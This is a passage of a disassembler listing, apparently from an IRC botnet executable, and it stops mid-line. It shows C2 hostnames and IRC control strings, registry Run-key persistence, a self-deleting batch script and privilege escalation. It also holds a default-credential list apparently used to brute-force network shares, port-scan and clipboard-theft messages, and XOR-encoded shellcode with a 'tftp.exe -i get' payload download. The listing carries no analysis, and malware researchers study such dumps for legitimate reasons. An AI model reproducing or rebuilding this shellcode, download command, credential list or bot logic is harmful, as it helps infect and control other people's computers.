; DATA XREF: sub_4045F0:loc_404725o ; sub_4149C4+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4045F0:loc_4046F8o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4045F0+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4045F0+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4045F0+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4045F0+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4045F0+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4045F0+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4045F0+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4045F0+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4045F0+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4045F0+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4045F0+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4045F0+Ao align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4052BA+72o align 10h aMirc db 'mIRC',0 ; DATA XREF: sub_40537F+5o ; sub_40615D+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_405401+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4054A5+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4054C7+140o align 8 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4054C7+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4054C7+48o align 4 dd offset aAdd ; "Add" dd offset aAdded ; "Added" dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop ; "Stop" dd offset aStopped ; "Stopped" dd 1, 41BC5Ch, 41BC54h, 2, 41BC48h, 41BC3Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause db 'Pause',0 align 4 aStopped db 'Stopped',0 ; DATA XREF: .nsp0:0041BC1Co aStop db 'Stop',0 ; DATA XREF: .nsp0:0041BC18o align 4 aStarted db 'Started',0 ; DATA XREF: .nsp0:0041BC10o aStart db 'Start',0 ; DATA XREF: .nsp0:0041BC0Co align 4 aListed db 'Listed',0 ; DATA XREF: .nsp0:0041BC04o align 4 aList_0 db 'List',0 ; DATA XREF: .nsp0:0041BC00o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0041BBF8o aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0041BBF4o align 4 aAdded db 'Added',0 ; DATA XREF: .nsp0:0041BBECo align 4 aAdd db 'Add',0 ; DATA XREF: .nsp0:0041BBE8o aGuest db 'Guest',0 ; DATA XREF: .nsp0:0041C340o align 4 aUser_0 db 'User',0 ; DATA XREF: .nsp0:0041C370o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: .nsp0:0041C334o align 10h aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0 ; DATA XREF: sub_405687:loc_40574Bo align 4 aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0 ; DATA XREF: sub_405687:loc_405726o aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_405687:loc_4056DCo aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0 ; DATA XREF: sub_405687+45o align 4 aSD db ' %s (%d)',0 ; DATA XREF: sub_405816+119o align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_405816+4Eo ; sub_405816+99o align 4 unk_41BD94 db 1Fh ; DATA XREF: sub_4059C3:loc_405A50o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessListFai db ' Process list failed.',0 align 4 unk_41BDB8 db 1Fh ; DATA XREF: sub_4059C3+86o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessListCom db ' Process list completed.',0 align 10h unk_41BDE0 db 1Fh ; DATA XREF: sub_4059C3+19o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aListingProcess db ' Listing processes:',0 align 8 unk_41BE08 db 1Fh ; DATA XREF: sub_405AD8+E9o db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_41BE50 db 1Fh ; DATA XREF: sub_405C55+E1o db 2, 72h, 2 db 1Fh db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 20h db 2, 0BBh, 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 dword_41BE98 dd 736E6F63h ; DATA XREF: sub_4061FA+Fr dd 74h, 0 dword_41BEA4 dd 1 ; DATA XREF: sub_4061FA:loc_406221r off_41BEA8 dd offset sub_405EC4 ; DATA XREF: sub_4061FA+4Ar aLetter db 'letter',0 align 8 dd 2, 405F22h, 706D6F63h, 2 dup(0) dd 3, 405F6Fh, 6E756F63h, 797274h, 0 dd 4, 405FDEh, 736Fh, 2 dup(0) dd 5, 406053h dword_41BEFC dd 69257325h, 0 ; DATA XREF: sub_405EC4+40o ; .nsp0:00405FBFo ... dword_41BF04 dd 4350h ; DATA XREF: .nsp0:00405F8Co dword_41BF08 dd 7C7325h ; DATA XREF: .nsp0:0040600Do dword_41BF0C dd 5D73255Bh, 7Ch ; DATA XREF: .nsp0:00406117o dword_41BF14 dd 3F3F3Fh ; DATA XREF: .nsp0:loc_40610Eo ; sub_40A1F9:loc_40A2BCo dword_41BF18 dd 334B32h ; DATA XREF: .nsp0:00406107o dword_41BF1C dd 5058h ; DATA XREF: .nsp0:004060F9o ; sub_40A1F9+AAo dword_41BF20 dd 4B32h ; DATA XREF: .nsp0:004060E9o ; sub_40A1F9+98o dword_41BF24 dd 454Dh ; DATA XREF: .nsp0:004060D0o ; sub_40A1F9+7Eo dword_41BF28 dd 3839h ; DATA XREF: .nsp0:004060C0o ; sub_40A1F9+6Co dword_41BF2C dd 544Eh ; DATA XREF: .nsp0:004060B0o ; sub_40A1F9+5Ao dword_41BF30 dd 3539h ; DATA XREF: .nsp0:004060A2o ; sub_40A1F9+46o dword_41BF34 dd 5D64255Bh, 7325h ; DATA XREF: sub_40615D+3Ao dword_41BF3C dd 5D4D5Bh ; DATA XREF: sub_40615D+2Co ; sub_40615D+51o unk_41BF40 db 1Fh ; DATA XREF: sub_406264+92o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aIpSPortDIsOpen db ' IP: %s Port: %d is open.',0 align 4 dword_41BF68 dd 273021Fh, 6E61631Fh, 2BB0220h, 635320BBh, 696E6E61h ; DATA XREF: sub_406331+41o dd 4920676Eh, 25203A50h, 50202C73h, 3A74726Fh, 2E642520h dd 0 dd offset dword_41BFCC dd 0 dd offset dword_41BFC4 dd 0 dd offset dword_41BFC0 dd offset dword_41BFBC dd offset dword_41BFB8 dd offset dword_41BFB4 dword_41BFB4 dd 5C3A44h ; DATA XREF: .nsp0:0041BFB0o dword_41BFB8 dd 2444h ; DATA XREF: .nsp0:0041BFACo dword_41BFBC dd 5C3A43h ; DATA XREF: .nsp0:0041BFA8o dword_41BFC0 dd 2443h ; DATA XREF: .nsp0:0041BFA4o dword_41BFC4 dd 494D4441h, 244Eh ; DATA XREF: .nsp0:0041BF9Co dword_41BFCC dd 24435049h, 2 dup(0) ; DATA XREF: .nsp0:0041BF94o ; --------------------------------------------------------------------------- jmp short loc_41BFDC ; --------------------------------------------------------------------------- loc_41BFDA: ; CODE XREF: .nsp0:loc_41BFDCp jmp short loc_41BFE1 ; --------------------------------------------------------------------------- loc_41BFDC: ; CODE XREF: .nsp0:0041BFD8j call loc_41BFDA loc_41BFE1: ; CODE XREF: .nsp0:loc_41BFDAj pop ebx xor ecx, ecx mov cx, 0FFFFh loc_41BFE8: ; CODE XREF: .nsp0:0041BFEDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_41BFE8 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_41BFFE: ; CODE XREF: .nsp0:0041C003j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_41BFFE ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_41C0A0 jnz short loc_41C08C retn ; --------------------------------------------------------------------------- loc_41C08C: ; CODE XREF: .nsp0:0041C089j ; .nsp0:0041C099j call near ptr loc_41C091+1 loc_41C091: ; CODE XREF: .nsp0:loc_41C08Cp add [edx+0], ch call sub_41C0A0 jz loc_41C08C retn ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: .nsp0:0041C084p ; .nsp0:0041C094p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_41C0A0 endp ; --------------------------------------------------------------------------- align 10h dword_41C0D0 dd 0F51h ; DATA XREF: sub_406422+3A1r ; sub_406422+42Ar dword_41C0D4 dd 1B58h ; DATA XREF: sub_406422+471r dword_41C0D8 dd 1AF4h ; DATA XREF: sub_401141+3Ar ; sub_406BAB+2C59r dword_41C0DC dd 1 ; DATA XREF: sub_406BAB+615r dword_41C0E0 dd 1 ; DATA XREF: sub_406422+13Fr dword_41C0E4 dd 1 ; DATA XREF: sub_4054C7+Cr ; sub_406422:loc_40674Er byte_41C0E8 db 2Eh ; DATA XREF: sub_4037CD:loc_4037D9r ; sub_406BAB+67Er ... align 4 dword_41C0EC dd 0Ah ; DATA XREF: sub_405EC4+2Br ; sub_405EC4+51r ... dword_41C0F0 dd 4 ; DATA XREF: sub_4068DA+78r ; sub_406BAB+267r ... dword_41C0F4 dd 1 ; DATA XREF: sub_4068DA+72r ; sub_406BAB+261r aNet1 db 'net1',0 align 10h db 2 dup(0) byte_41C102 db 1 ; DATA XREF: sub_406BAB:loc_409496r ; sub_406BAB+28F5o aNet2 db 'net2',0 dd 0 dd 2D610100h, 3368h, 0 dd 1, 2 dup(0) a3677 db '3677',0 align 4 aAdmin db 'Admin',0 align 4 aAdmin_0 db 'Admin',0 align 4 aKtsFinally db 'KTS-Finally',0 ; DATA XREF: sub_406422+62o ; sub_406BAB+1F95o ... aHum__ db 'Hum..',0 align 10h aSock db 'sock',0 ; DATA XREF: sub_406BAB+33DBo ; sub_406BAB+349Eo align 4 aPrv_blackroz_c db 'prv.blackroz.com',0 ; DATA XREF: sub_406422+396o ; sub_406422+41Fo align 4 aPrv db '#prv#',0 ; DATA XREF: sub_406422+3ADo ; sub_406422+431o align 4 aPr__ db 'pr..',0 ; DATA XREF: sub_406422+3C4o ; sub_406422+443o align 4 byte_41C17C db 70h ; DATA XREF: sub_406422:loc_406879r ; sub_406422+466o aRv_blackroz_co db 'rv.blackroz.com',0 align 10h aPrv_0 db '#prv#',0 ; DATA XREF: sub_406422+478o align 4 aPr___0 db 'pr..',0 ; DATA XREF: sub_406422+48Ao align 10h byte_41C1A0 db 74h ; DATA XREF: sub_401141+68o ; sub_401141+176o ... db 74h, 65h, 69h dd 6477726Bh, 78652E62h, 65h aMicrosoftsSyst db 'Microsofts Systems Services One ',0 ; DATA XREF: sub_4031BC+Bo align 4 aWw db 'Ww|',0 ; DATA XREF: sub_405EC4+12o aEncrtpyleser_x db 'encrtpyleser.xml',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_406BAB+350Fo aPrv_1 db '#prv##',0 ; DATA XREF: sub_406BAB:loc_4085DFo ; sub_406BAB+2AB9o ... align 4 aPrv_2 db '#prv##',0 align 10h off_41C200 dd offset a@ktw_com ; DATA XREF: sub_406BAB+343Er ; "*@KTW.com" off_41C204 dd offset aEggdropV1_6_20 ; DATA XREF: sub_406BAB+7F4r ; "eggdrop v1.6.20" dd offset aEggdropV1_6_17 ; "eggdrop v1.6.17" aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .nsp0:off_41AD2Co align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\OLE',0 align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 align 8 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin_1 ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aLinux ; "linux" align 10h dd offset byte_422270 dd offset aAdmin_1 ; "admin" dd offset aAdmin_2 ; "ADMIN" dd offset aAdmin_3 ; "Admin" dd offset aAdmin123 ; "admin123" dd offset aAdministrado_0 ; "Administrador" dd offset aAdministrate_0 ; "Administrateur" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aGuest_0 ; "guest" dd offset aGuest ; "Guest" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefault_1 ; "Default" dd offset aLocal ; "LOCAL" dd offset aPassword ; "password" dd offset aPassword_0 ; "PASSWORD" dd offset aPassword_1 ; "Password" dd offset aSystem ; "system" dd offset aSystem_0 ; "SYSTEM" dd offset aUser_1 ; "user" dd offset aUser ; "USER" dd offset aUser_0 ; "User" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aAdmin_2 ; "ADMIN" dd offset aPassword_0 ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aLocal ; "LOCAL" dd offset asc_41C4A0 ; "%" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset asc_41C47C ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_419924 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" align 8 dword_41C418 dd 10h ; DATA XREF: sub_40304D+72w ; sub_406BAB+6E2r ... a000000 db '000000',0 ; DATA XREF: .nsp0:0041C410o align 4 a00000 db '00000',0 ; DATA XREF: .nsp0:0041C40Co align 4 a0000 db '0000',0 ; DATA XREF: .nsp0:0041C408o align 4 a000 db '000',0 ; DATA XREF: .nsp0:0041C404o a00 db '00',0 ; DATA XREF: .nsp0:0041C400o align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0041C3F8o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0041C3F4o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0041C3F0o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0041C3ECo align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0041C3E8o align 4 aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0041C3E4o align 4 aXxx db 'xxx',0 ; DATA XREF: .nsp0:0041C3E0o aXx db 'xx',0 ; DATA XREF: .nsp0:0041C3DCo align 4 asc_41C47C: ; DATA XREF: .nsp0:0041C3D8o unicode 0, <x>,0 aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0041C3D4o align 4 aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0041C3D0o align 10h aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0041C3C8o align 4 aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0041C3C4o align 10h asc_41C4A0: ; DATA XREF: .nsp0:0041C3C0o unicode 0, <%>,0 aServer_0 db 'SERVER',0 ; DATA XREF: .nsp0:0041C3B8o align 4 aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0041C3B0o align 4 aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0041C3A8o align 4 aTest db 'TEST',0 ; DATA XREF: .nsp0:0041C3A4o align 4 aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0041C3A0o align 4 aFiles db 'FILES',0 ; DATA XREF: .nsp0:0041C39Co align 4 aRead db 'READ',0 ; DATA XREF: .nsp0:0041C398o align 4 aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0041C394o align 4 aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0041C390o align 4 aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0041C38Co align 4 aShare db 'SHARE',0 ; DATA XREF: .nsp0:0041C388o align 4 aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0041C384o align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0041C378o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0041C374o align 4 aUser_1 db 'user',0 ; DATA XREF: .nsp0:0041C368o align 4 aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:0041C364o ; .nsp0:0041C3B4o align 4 aSystem db 'system',0 ; DATA XREF: .nsp0:0041C360o align 4 aPassword_1 db 'Password',0 ; DATA XREF: .nsp0:0041C35Co align 4 aPassword_0 db 'PASSWORD',0 ; DATA XREF: .nsp0:0041C358o ; .nsp0:0041C380o align 4 aPassword db 'password',0 ; DATA XREF: .nsp0:0041C354o align 10h aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0041C350o ; .nsp0:0041C3BCo align 4 aDefault_1 db 'Default',0 ; DATA XREF: .nsp0:0041C34Co aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0041C348o aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0041C330o align 4 aAdministrate_0 db 'Administrateur',0 ; DATA XREF: .nsp0:0041C328o align 4 aAdministrado_0 db 'Administrador',0 ; DATA XREF: .nsp0:0041C324o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0041C320o align 4 aAdmin_3 db 'Admin',0 ; DATA XREF: .nsp0:0041C31Co align 4 aAdmin_2 db 'ADMIN',0 ; DATA XREF: .nsp0:0041C318o ; .nsp0:0041C37Co align 4 aLinux db 'linux',0 ; DATA XREF: .nsp0:0041C304o align 4 aDb2 db 'db2',0 ; DATA XREF: .nsp0:0041C300o aOracle db 'oracle',0 ; DATA XREF: .nsp0:0041C2FCo align 4 aDba db 'dba',0 ; DATA XREF: .nsp0:0041C2F8o aDatabase db 'database',0 ; DATA XREF: .nsp0:0041C2F4o ; .nsp0:0041C3CCo align 4 aDefault db 'default',0 ; DATA XREF: .nsp0:0041C2F0o ; .nsp0:0041C344o aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0041C2ECo ; .nsp0:0041C33Co align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0041C2E8o align 4 aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0041C2E4o aStudent db 'student',0 ; DATA XREF: .nsp0:0041C2E0o aOwner db 'owner',0 ; DATA XREF: .nsp0:0041C2DCo align 4 aComputer db 'computer',0 ; DATA XREF: .nsp0:0041C2D8o align 4 aRoot db 'root',0 ; DATA XREF: .nsp0:0041C2D4o align 10h aStaff db 'staff',0 ; DATA XREF: .nsp0:0041C2D0o align 4 aAdmin_1 db 'admin',0 ; DATA XREF: .nsp0:0041C2CCo ; .nsp0:0041C314o align 10h aAdmins db 'admins',0 ; DATA XREF: .nsp0:0041C2C8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0041C2C4o aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0041C2C0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:0041C2BCo align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .nsp0:0041C2B8o ; .nsp0:0041C32Co ... align 4 aEggdropV1_6_17 db 'eggdrop v1.6.17',0 ; DATA XREF: .nsp0:0041C208o aEggdropV1_6_20 db 'eggdrop v1.6.20',0 ; DATA XREF: .nsp0:off_41C204o a@ktw_com db '*@KTW.com',0 ; DATA XREF: .nsp0:off_41C200o align 10h aSDS db '%s %d "%s"',0 ; DATA XREF: sub_406422+27Ao align 4 aSS_2 db '%s\%s',0 ; DATA XREF: sub_406422+192o align 4 aSS_3 db '%s%s',0 ; DATA XREF: sub_406422+10Fo align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_406A2F+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_406A2F+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+3517o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+3502o align 4 unk_41C704 db 1Fh ; DATA XREF: sub_406BAB+34E4o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aPasswordAccept db ' Password accepted.',0 align 4 unk_41C728 db 1Fh ; DATA XREF: sub_406BAB+348Bo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 unk_41C758 db 1Fh ; DATA XREF: sub_406BAB+341Eo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSFailed_ db 'NOTICE %s :FAILED.',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+340Fo ; sub_406BAB+347Co align 10h aNoticeSFailedS db 'NOTICE %s :FAILED (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+33FBo ; sub_406BAB+3468o align 10h asc_41C7C0: ; DATA XREF: sub_406BAB+33CBo unicode 0, <~>,0 unk_41C7C4 db 1Fh ; DATA XREF: sub_406BAB+32D1o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 unk_41C7F4 db 1Fh ; DATA XREF: sub_406BAB+32C9o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 aProc db 'PROC ',0 ; DATA XREF: sub_406BAB+3264o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_406BAB+325Fo align 4 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DD2o align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DBBo align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DA4o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+31E7o align 4 unk_41C888 db 1Fh ; DATA XREF: sub_406BAB+319Bo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_41C8B8 dd 26D021Fh, 6E69611Fh, 2BB0220h, 6F4220BBh, 44492074h ; DATA XREF: sub_406BAB+315Do dd 7325203Ah, 2Eh dword_41C8D4 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB+312Ao aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 align 10h dword_41C910 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h, 73694C20h ; DATA XREF: sub_406BAB+30CBo dd 68742074h, 64616572h, 2E73h dword_41C930 dd 627573h ; DATA XREF: sub_406BAB+30A5o dword_41C934 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 69766F6Dh ; DATA XREF: sub_406BAB+2FD7o dd 4220676Eh, 2E746Fh unk_41C950 db 1Fh ; DATA XREF: sub_406BAB+2F9Co db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aFailedToStar_1 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_41C98C dd 270021Fh, 636F721Fh, 2BB0220h, 725020BBh, 6563636Fh ; DATA XREF: sub_406BAB+2F3Do dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: sub_406BAB+2F1Do align 4 unk_41C9B4 db 1Fh ; DATA XREF: sub_406BAB+2ECCo db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aAlreadyRunning db ' Already running.',0 align 4 dword_41C9D4 dd 26D021Fh, 6E69611Fh, 2BB0220h, 705520BBh, 656D6974h ; DATA XREF: sub_406BAB+2E7Bo dd 7325203Ah, 2Eh dword_41C9F0 dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 6C432074h ; DATA XREF: sub_406BAB+2DFAo dd 6F627069h, 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_406BAB+2DCCo align 4 aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0 ; DATA XREF: sub_406BAB:loc_409959o align 4 aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_406BAB+2DA7o align 4 aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0 ; DATA XREF: sub_406BAB:loc_409936o align 4 aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0 ; DATA XREF: sub_406BAB:loc_40992Fo align 4 aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_406BAB+2D7Do align 4 unk_41CADC db 1Fh ; DATA XREF: sub_406BAB+2D0Co db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFailedToStar_2 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_41CB18 db 1Fh ; DATA XREF: sub_406BAB+2C02o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aAlreadyRunni_0 db ' Already running.',0 align 4 dword_41CB38 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB:loc_4093FDo aFailedToKillTh db ' Failed to kill thread: %s.',0 dword_41CB64 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB+284Bo aKilledThreadS_ db ' Killed thread: %s.',0 dword_41CB88 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB:loc_4093AEo aNoActiveThread db ' No active threads found.',0 align 4 dword_41CBB4 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB+27F9o aStoppedDThread db ' Stopped: %d thread(s).',0 aAll db 'all',0 ; DATA XREF: sub_406BAB+27DFo unk_41CBE0 db 1Fh ; DATA XREF: sub_406BAB+27D2o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_41CC08 db 1Fh ; DATA XREF: sub_406BAB:loc_409364o db 2, 73h, 2 db 1Fh db 68h, 65h, 6Ch db 6Ch ; l db 20h, 2, 0BBh db 